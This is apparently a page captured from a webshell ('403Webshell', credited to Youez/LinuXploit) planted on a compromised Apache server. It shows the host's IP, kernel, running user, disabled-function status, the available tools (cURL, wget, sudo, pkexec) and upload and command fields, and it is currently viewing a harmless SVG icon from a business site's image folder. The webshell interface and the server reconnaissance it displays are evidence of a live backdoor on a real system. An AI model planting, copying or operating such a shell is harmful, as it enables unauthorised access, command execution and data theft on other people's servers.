403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2b.hellogtx.com/public/asset/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2b.hellogtx.com/public/asset/images/agent_portal.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 15.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="512px" height="512px" viewBox="-246 -246 512 512" enable-background="new -246 -246 512 512" xml:space="preserve">
<g>
	<g>
		<path d="M165.539,159.696c-3.911,0-7.067,3.157-7.067,7.068v66.438c0,2.166-1.744,3.91-3.912,3.91h-37.977V97.924
			c0-3.911-3.157-7.067-7.067-7.067c-3.912,0-7.068,3.156-7.068,7.067v139.188H25.926l22.193-24.407
			c2.427-2.662,3.581-6.455,3.063-10.178c0-0.047-0.023-0.142-0.047-0.188L30.025,77.475l5.678-8.553
			c3.157,2.238,5.584,4.382,10.131,4.382c4.617,0,8.929-2.567,11.073-6.855l0,0l22.286-44.657l50.771,19.661
			c1.837,0.777,28.507,12.792,28.507,44.504v47.825c0,3.91,3.156,7.068,7.067,7.068c3.91,0,7.068-3.158,7.068-7.068V85.956
			c0-41.795-35.764-56.968-37.318-57.58c-0.024-0.047-0.07-0.047-0.118-0.07L50.663-4.418v-19.813
			C64.092-34.668,73.398-50.147,75.73-67.793c6.691-0.471,12.91-2.979,17.977-7.338c6.62-5.689,10.436-13.983,10.436-22.735
			c0-7.268-2.638-14.194-7.303-19.602v-26.186c0-48.297-39.297-87.594-87.605-87.594c-48.296,0-87.594,39.297-87.594,87.594v26.869
			c-4.724,5.349-7.28,11.933-7.28,18.918c0,8.752,3.793,17.045,10.414,22.735c5.065,4.359,11.273,6.856,17.963,7.327
			c2.356,17.987,11.933,34.032,26.504,44.61v18.776l-84.413,32.724c-0.047,0.023-0.095,0.023-0.129,0.07
			c-1.531,0.612-37.307,15.785-37.307,57.58v147.246c0,9.941,8.093,18.046,18.035,18.046h67.345c3.899,0,7.068-3.157,7.068-7.067
			c0-3.911-3.168-7.068-7.068-7.068h-15.208V97.924c0-3.911-3.168-7.067-7.068-7.067c-3.911,0-7.068,3.156-7.068,7.067v139.188
			h-38.001c-2.144,0-3.899-1.744-3.899-3.91V85.956c0-31.806,26.846-43.798,28.495-44.504l50.735-19.661l22.287,44.657
			c2.132,4.288,6.467,6.855,11.084,6.855c4.523,0,6.927-2.12,10.119-4.382l5.689,8.553l-21.132,124.864
			c-0.012,0.047-0.024,0.142-0.024,0.188c-0.518,3.723,0.625,7.492,3.051,10.178l22.193,24.407h-28.271
			c-3.899,0-7.068,3.157-7.068,7.068c0,3.91,3.168,7.067,7.068,7.067H154.56c9.966,0,18.048-8.104,18.048-18.046v-66.438
			C172.607,162.854,169.449,159.696,165.539,159.696z M65.954,16.668L45.175,58.297c-0.519-0.354-11.521-8.198-24.985-17.74
			c5.831-7.209-1.001,1.225,25.668-31.676L65.954,16.668z M24.183,60.747l-5.395,8.104H1.165l-5.395-8.104L9.977,50.64
			L24.183,60.747z M-16.634-2.133v-13.229c8.587,3.463,17.764,5.065,26.728,5.065c9.271,0,18.353-1.979,26.433-5.513v13.735
			L9.977,30.685L-16.634-2.133z M89.984-97.867c0,4.629-2.003,9.011-5.489,12.016c-2.309,1.991-5.112,3.263-8.175,3.757v-31.546
			C84.447-112.32,89.984-105.583,89.984-97.867z M-57.839-82.094c-8.222-1.331-13.664-8.128-13.664-15.773
			c0-7.551,6.255-13.7,13.664-15.419V-82.094z M-57.462-127.681c-2.25,0.259-4.83,0.86-6.762,1.52v-17.493
			c0-40.499,32.959-73.458,73.458-73.458c40.51,0,73.47,32.959,73.47,73.458v17.01c-2.073-0.625-4.193-1.037-6.361-1.236
			c0-6.821,0.048-5.501-22.263-29.485c-4.124-4.417-10.908-5.336-16.044-1.967c-24.644,16.091-54.682,24.172-82.399,22.181
			C-50.441-137.611-55.978-133.606-57.462-127.681z M-43.704-76.521v-44.104v-2.32c30.509,1.79,62.492-7.28,88.335-23.819
			c10.226,10.979,15.785,16.739,17.553,18.93c0,5.548,0,44.963,0,51.313c0,28.683-23.395,52.089-52.09,52.089
			C-22.123-24.432-43.704-49.429-43.704-76.521z M-25.221,58.297l-20.78-41.629l20.061-7.775L-0.26,40.58
			C-13.324,49.862-24.043,57.449-25.221,58.297z M-17.117,203.847L3.345,82.986h13.264l20.438,120.86L9.977,233.649L-17.117,203.847
			z"/>
	</g>
</g>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit